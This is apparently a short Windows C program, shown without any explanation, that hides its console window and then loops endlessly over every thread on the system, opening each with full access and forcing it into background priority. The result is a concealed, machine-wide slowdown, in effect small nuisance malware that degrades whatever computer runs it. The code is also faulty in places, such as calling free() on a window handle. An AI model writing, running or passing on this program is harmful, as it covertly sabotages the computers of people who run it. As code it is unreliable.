- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
HWND console;
int main(int argc, char *argv[])
{
console = GetConsoleWindow();
ShowWindow(console, SW_HIDE);
free(console);
THREADENTRY32 te32;
HANDLE snap = INVALID_HANDLE_VALUE;
while(1) {
snap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
if ( snap == INVALID_HANDLE_VALUE ) {
printf("faile.");
return 0;
}
te32.dwSize = sizeof(THREADENTRY32 );
if (!Thread32First(snap, &te32)) {
printf("faile on exec thread.");
return 0;
}
HANDLE td;
do {
td = OpenThread(THREAD_ALL_ACCESS, TRUE, te32.th32ThreadID);
SetThreadPriority(td, 0x00010000);
} while ( Thread32Next(snap, &te32 ) );
CloseHandle(snap);
Sleep(10);
}
return 0;
}